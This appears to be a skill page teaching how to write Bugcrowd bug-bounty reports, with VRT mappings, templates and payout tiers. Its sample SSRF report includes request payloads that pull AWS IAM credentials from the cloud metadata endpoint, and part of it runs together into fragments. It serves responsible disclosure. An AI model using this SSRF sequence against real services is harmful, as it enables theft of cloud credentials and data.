Probe subdomain list with httpx/dnsx/naabu to identify live hosts, open ports, status codes, titles, and basic fingerprints. Use after subdomain-enum produces a sub list. Output feeds into fingerprinting and content discovery.
中文简介正在准备中。当前显示原文说明。
Write Bugcrowd-format reports — VRT (Vulnerability Rating Taxonomy) mapping, P1-P5 severity, impact-led writing, and Bugcrowd-specific submission etiquette. Use AFTER triage-validation passes for Bugcrowd programs.
中文简介正在准备中。当前显示原文说明。
安装前可以查看交给 AI 代理的指令内容。
Bugcrowd uses VRT, not CVSS. Map your bug to the VRT entry first.
Trigger phrases:
Bugcrowd's VRT (Vulnerability Rating Taxonomy) is a hierarchical category tree. Each category has a default priority (P1-P5).
P1 — Critical (e.g., RCE, SQLi data extraction)
P2 — High (e.g., stored XSS w/ auth bypass, IDOR critical data)
P3 — Medium (e.g., reflected XSS, IDOR less-sensitive)
P4 — Low (e.g., minor info disclosure)
P5 — Informational
Reference: https://bugcrowd.com/vulnerability-rating-taxonomy
When submitting, pick the most specific VRT category that fits — vague mapping triggers downgrade.
The submission form has:
The Description should contain:
## Summary
[1-2 sentences — the bug + its impact]
## Description
[3-5 sentences — affected feature, mechanism]
## Steps to Reproduce
1. ...
2. ...
## PoC
[Code, requests, screenshots]
## Impact
[Concrete impact statement]
## Suggested Fix
[Actionable]
Format: <Severity tag>: <vuln class> in <endpoint> enables <impact>
# Good
P1 — SSRF in document import URL leading to AWS IAM credential disclosure
P2 — Stored XSS via SVG avatar enables full session theft of profile viewers
P3 — IDOR in GraphQL user query exposes email and phone of any user
P1 — Authentication bypass via alg=none JWT acceptance
# Avoid
XSS
Bug
Possible XSS
Map each bug class to the BC VRT path:
| Bug | VRT Path | Default Priority |
|---|---|---|
| RCE via SSTI / template injection | Server Security Misconfiguration > Server-Side Template Injection > Remote Code Execution | P1 |
| RCE via deserialization | Server-Side Injection > Remote Code Execution | P1 |
| SQL injection (data extraction) | Server-Side Injection > SQL Injection > Vulnerable | P1-P2 |
| Stored XSS (high impact) | Cross-Site Scripting (XSS) > Stored | P2-P3 |
| Reflected XSS | Cross-Site Scripting (XSS) > Reflected | P3-P4 |
| DOM XSS | Cross-Site Scripting (XSS) > DOM | P3-P4 |
| IDOR (critical data) | Broken Access Control > Insecure Direct Object Reference > Critical | P2 |
| IDOR (moderate data) | Broken Access Control > IDOR > Moderate | P3 |
| Auth bypass | Broken Authentication and Session Management > Auth Bypass | P1-P2 |
| SSRF (internal access) | Server-Side Request Forgery > Internal | P2 |
| SSRF (cloud metadata) | Server-Side Request Forgery > Internal > Cloud Metadata | P1 |
| File upload RCE | Server Security Misconfiguration > Insecure File Upload > RCE | P1 |
| Stored XSS via file upload | Server Security Misconfiguration > Insecure File Upload > XSS | P2 |
| JWT alg=none | Broken Authentication > JWT > Algorithm None | P1 |
| OAuth redirect_uri bypass | Insufficient Security Configurability > OAuth Misconfig | P1-P2 |
| Account takeover | Sensitive Data Exposure > Account Takeover | P1 |
| Subdomain takeover | Server Security Misconfiguration > Subdomain Takeover | P2-P3 |
| Open redirect | Server Security Misconfiguration > Insecure URL Redirect > Open Redirect | P4-P5 |
| HTTP smuggling | Server-Side Injection > HTTP Response Smuggling | P1-P2 |
| Cache poisoning | Server Security Misconfiguration > Web Cache Poisoning | P2-P3 |
| Prototype pollution (exploitable) | Server-Side Injection > Prototype Pollution | P2-P3 |
| Mass assignment | Broken Access Control > Mass Assignment | P2-P3 |
| Race condition (real $$$) | Broken Access Control > Race Condition | P2-P3 |
| GraphQL introspection alone | Sensitive Data Exposure > GraphQL Introspection | P4-P5 |
| GraphQL IDOR | Broken Access Control > Insecure Direct Object Reference | P2-P3 |
→ See https://bugcrowd.com/vulnerability-rating-taxonomy for the complete tree.
P1 — Critical ← $1k–25k+ (program-dependent)
P2 — High ← $500–5k
P3 — Medium ← $100–1k
P4 — Low ← $50–250
P5 — Info ← $0 or swag/kudos
## Summary
The `/api/v3/import/url` endpoint is vulnerable to Server-Side Request Forgery (SSRF). By supplying the AWS EC2 metadata endpoint URL, any authenticated user can retrieve IAM credentials for the EC2 role attached to the application's web servers, enabling full AWS account access.
## VRT
Server-Side Request Forgery > Internal > Cloud Metadata → P1 (Critical)
## Description
While reviewing the document import feature, I noticed it accepts any URL and fetches its content. The implementation does not validate the URL host. Sending `http://169.254.169.254/...` returns the EC2 metadata service responses, including IAM credentials. The IAM role attached (`web-prod-role`) has read/write access to S3 buckets containing user-uploaded PII.
## Steps to Reproduce
1. Log in as any user (signup is free)
2. Send the following request:
```http
POST /api/v3/import/url HTTP/1.1
Host: app.target.com
Cookie: session=USER_SESSION
Content-Type: application/json
{"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}
Response:
web-prod-role
Now fetch credentials:
POST /api/v3/import/url HTTP/1.1
...
{"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/web-prod-role"}
Response contains:
{
"AccessKeyId": "ASIA...",
"SecretAccessKey": "...",
"Token": "...",
"Expiration": "2026-06-02T15:42:18Z"
}
Credentials verified via AWS CLI:
$ AWS_ACCESS_KEY_ID=ASIA... AWS_SECRET_ACCESS_KEY=... AWS_SESSION_TOKEN=... aws sts get-caller-identity
{
"UserId": "AROA...",
"Account": "123456789012",
"Arn": "arn:aws:sts::123456789012:assumed-role/web-prod-role/i-..."
}
Attached:
screenshot-credential-extraction.png — the actual response with credentials (redacted)aws-sts-output.png — verification of credential validityrepro.har — HAR file of the entire reproductionweb-prod-role has:
target-user-uploads (~50M files including PII)target-jobs-queueenumerate-iam after extractionhttps:// and only after host validationaws sts get-caller-identity
## VRT-specific considerations
### Always map specifically
Bad: "Misc Server Security Misconfiguration"
Good: "Server-Side Request Forgery > Internal > Cloud Metadata"
Specific mapping = correct default priority = correct bounty.
### Justify VRT upgrade if needed
If you think the bug deserves higher than VRT default:
The default VRT priority for "OAuth Misconfiguration > Redirect URI Bypass" is P3, but in this implementation it enables one-click ATO of any user. I'm proposing P1 / Critical given:
### CVSS optional but useful
Bugcrowd accepts a CVSS vector in the report. Include it as additional evidence:
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N = 8.1 (High)
## Bugcrowd-specific etiquette
### "Researcher Comments"
Bugcrowd has a comments section beneath the report. Use it for:
- Clarifications when triage asks
- "I noticed X also has same issue, want me to submit separately?"
- Negotiation around VRT mapping
### Reasonable response time
Bugcrowd has SLAs published per program. Don't ping early.
### Crowd messaging
Don't share details outside the platform (Discord, Twitter) before disclosure.
### Disclosure
After fix + payout, you can request disclosure. Builds your portfolio.
## VRT references to memorize
The 20 most-common VRT categories you'll use:
## H1 vs Bugcrowd quick diff
| Aspect | H1 | BC |
|---|---|---|
| Severity model | CVSS 3.1 | VRT + P1-P5 |
| Categorization | CWE | VRT tree |
| Markdown | Yes | Yes |
| Bounty table | Per program | Per program (VRT-driven) |
| Triage style | Often faster | Tends to follow VRT defaults strictly |
| Disclosure | Researcher-initiated post-payout | Same |
The report content is the same. The category field is different — use VRT for BC.
## Cross-references
- `[[triage-validation]]` — run before this
- `[[hackerone-reporting]]` — H1 equivalent
- All vuln-class skills — back-reference impact
## Common pitfalls
1. **Wrong VRT mapping.** "Misc" category → P5 default → minimal bounty.
2. **No P1/P2 justification for high-impact bugs.** Argue the upgrade.
3. **Confusing VRT priority with CVSS.** They differ. Use both.
4. **Reporting same bug under multiple categories.** Pick one (the most-specific).
5. **Inflating to P1 when the bug is P2.** Reputation suffers.
## Bugcrowd reward tiers (illustrative — varies by program)
P1 Critical → often $1k–25k+, top programs $5k+ minimum P2 High → often $500–5k P3 Medium → often $150–1k P4 Low → often $50–250 P5 Info → $0 + kudos
Pick programs with strong P-rating bounty tables. Check before hunting.
## Bugcrowd-only features
- **Researcher leaderboard** — top hunters get exclusive private invites
- **VRT votes** — researchers can propose VRT updates
- **Bug Bash events** — sponsored events with bonus bounties
- **Crowd Control** for orgs — researchers don't see this but it's how triage queues work
- **Asset bonuses** — some programs add bonuses for hunting specific assets
## Quick markdown skeleton
```markdown
## Summary
[1-2 sentences — bug + impact]
## VRT
[Specific VRT path]
Suggested Priority: P[1-5] (Critical/High/Medium/Low/Info)
## Description
[Affected feature + root cause hypothesis]
## Steps to Reproduce
1. ...
2. ...
3. ...
## PoC
[code blocks, attachment list]
## Impact
[Concrete, business-grade]
## Suggested Fix
[Actionable]
## CVSS (Optional supplementary)
[CVSS vector]
## Notes
- Test accounts used; no real user data accessed
- Available for verification questions
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Probe subdomain list with httpx/dnsx/naabu to identify live hosts, open ports, status codes, titles, and basic fingerprints. Use after subdomain-enum produces a sub list. Output feeds into fingerprinting and content discovery.
中文简介正在准备中。当前显示原文说明。
Hunt full Account Takeover (ATO) by chaining lower-severity findings — IDOR-to-email-disclosure, password-reset-token-theft, OAuth-redirect-uri abuse, response-manipulation, cookie scope, CRLF in Set-Cookie, race-condition on signup. Use when the user wants to escalate small findings to ATO or thinks an ATO path exists.
中文简介正在准备中。当前显示原文说明。
Hunt authentication and authorization bypasses — forced browsing, path traversal in auth, header injection, JWT downgrade, OAuth state confusion, role manipulation. Use when an endpoint returns 401/403 but appears reachable.
中文简介正在准备中。当前显示原文说明。
Hunt business logic flaws — race conditions, workflow state bypass, parameter pollution affecting logic, coupon/discount abuse, refund logic, multi-step process bypass, integer overflow, negative quantities, double-spend. Use when looking for non-CVE bugs that require understanding the app's intended workflow.
中文简介正在准备中。当前显示原文说明。
Hunt web cache poisoning, CDN cache poisoning, and cache deception attacks. Use when target uses a CDN (Cloudflare, Akamai, Fastly, AWS CloudFront) or has Varnish/nginx caches and you want to identify cache key flaws that let attackers serve malicious content to other users.
中文简介正在准备中。当前显示原文说明。
Hunt cloud misconfigurations exposed externally — open S3/GCS buckets, exposed IAM-tied EC2 metadata, Cognito misconfig, GitHub Actions secret leakage, exposed Kubernetes API, public Elastic / Kibana / Mongo, Firebase RTDB rules, weak AWS access keys discovered in JS/mobile. Use when leveraging leaked credentials or hunting cloud surface in scope.
中文简介正在准备中。当前显示原文说明。